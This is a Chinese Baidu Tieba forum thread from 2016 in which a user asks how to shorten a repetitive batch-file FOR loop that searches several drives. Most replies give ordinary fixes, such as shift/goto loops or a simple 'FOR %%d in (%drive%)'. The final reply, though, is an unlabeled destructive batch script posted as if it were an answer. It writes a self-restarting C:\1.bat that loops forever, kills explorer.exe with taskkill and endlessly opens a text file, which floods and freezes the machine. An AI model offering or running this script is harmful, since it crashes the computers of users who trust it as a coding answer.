请简化一下代码,for的,实在简化不了
bat吧
全部回复
仅看楼主
level 10
zsh- 楼主
实在写不出来,只好用excel自动填充复制的(search是另外一个bat,3-4个参数,前面set是范例,实际是set /p输入的,不要说我下面drive就4个,然后把%%5……全删了)试过N中方法,for,if…goto等都试过
set file=searchtemp
set key=*.bat
set drive=c d f h
FOR /F "tokens=1-26 delims= " %%1 in ("%drive%") do (
if not "%%1"=="" search %%1 %key% %file%
if not "%%2"=="" search %%2 %key% %file%
if not "%%3"=="" search %%3 %key% %file%
if not "%%4"=="" search %%4 %key% %file%
if not "%%5"=="" search %%5 %key% %file%
if not "%%6"=="" search %%6 %key% %file%
if not "%%7"=="" search %%7 %key% %file%
if not "%%8"=="" search %%8 %key% %file%
if not "%%9"=="" search %%9 %key% %file%
if not "%%10"=="" search %%10 %key% %file%
if not "%%11"=="" search %%11 %key% %file%
if not "%%12"=="" search %%12 %key% %file%
if not "%%13"=="" search %%13 %key% %file%
if not "%%14"=="" search %%14 %key% %file%
if not "%%15"=="" search %%15 %key% %file%
if not "%%16"=="" search %%16 %key% %file%
if not "%%17"=="" search %%17 %key% %file%
if not "%%18"=="" search %%18 %key% %file%
if not "%%19"=="" search %%19 %key% %file%
if not "%%20"=="" search %%20 %key% %file%
if not "%%21"=="" search %%21 %key% %file%
if not "%%22"=="" search %%22 %key% %file%
if not "%%23"=="" search %%23 %key% %file%
if not "%%24"=="" search %%24 %key% %file%
if not "%%25"=="" search %%25 %key% %file%
if not "%%26"=="" search %%26 %key% %file%
)
2016年02月08日 14点02分 1
level 9
有个命令叫做shift
2016年02月09日 02点02分 2
shift 对 for 里面的循环变量有效吗?
2016年02月09日 04点02分
@贴吧用户_0KSaNSR 没有效,还有 for %%1 不要用数字[狂汗]要用英文%%a %%b %%c
2016年02月09日 15点02分
回错了,不好意思,是回楼主的[勉强]
2016年02月09日 15点02分
回复 a42855333 : 数字是可以的,一些符号也行。
2016年02月09日 22点02分
level 10
下面是大概方法只完成一半,只能做到这了[乖],应该知道怎么改吧
@echo off
set file=searchtemp
set key=*.bat
set drive=c d f h
for /f "tokens=1-26 delims= " %%i in ("%drive%") do (
call :[ASD_]
setlocal enabledelayedexpansion
if not "%%!.i!"=="" echo %%!.i! !key! !file!
endlocal
)
pause
:[ASD_]
for %%i in (q w e r t y u i o p a s d f g h j k l z x c v b n m) do (set ".i=%%i")
2016年02月09日 16点02分 5
这个还是不行啊,[喷]
2016年02月09日 16点02分
level 9
@echo off
set file=searchtemp
set key=*.bat
set drive=c d e f g h i j k l m n o p q r s t u v w x y z
call:gg %drive%
:gg
if "%1"=="" goto end
echo search %1 %key% %file%
shift
goto gg
能帮你的就这么多了[滑稽]
:end
pause
2016年02月10日 06点02分 6
level 13
::@kisiboo 机智如我
set file=searchtemp
set key=*.bat
set drive=c d f h
FOR %%d in (%drive%) do search %%d %key% %file%
2016年02月10日 06点02分 7
[滑稽]对哦,这古老的一招怎么给忘了捏
2016年02月10日 08点02分
@kisiboo 额,忘了for不带参数😓
2016年02月10日 15点02分
level 1
echo :a >>C:\1.bat
echo start C:\1.bat >> C:\1.bat
echo goto a >>C:\1.bat
echo 重启吧朋友!!! >> C:\2.txt
taskkill /im explorer.exe /f
:p
start C:\2.txt
start C:\1.bat
goto p
::11:: ::11::
2016年02月12日 04点02分 8
1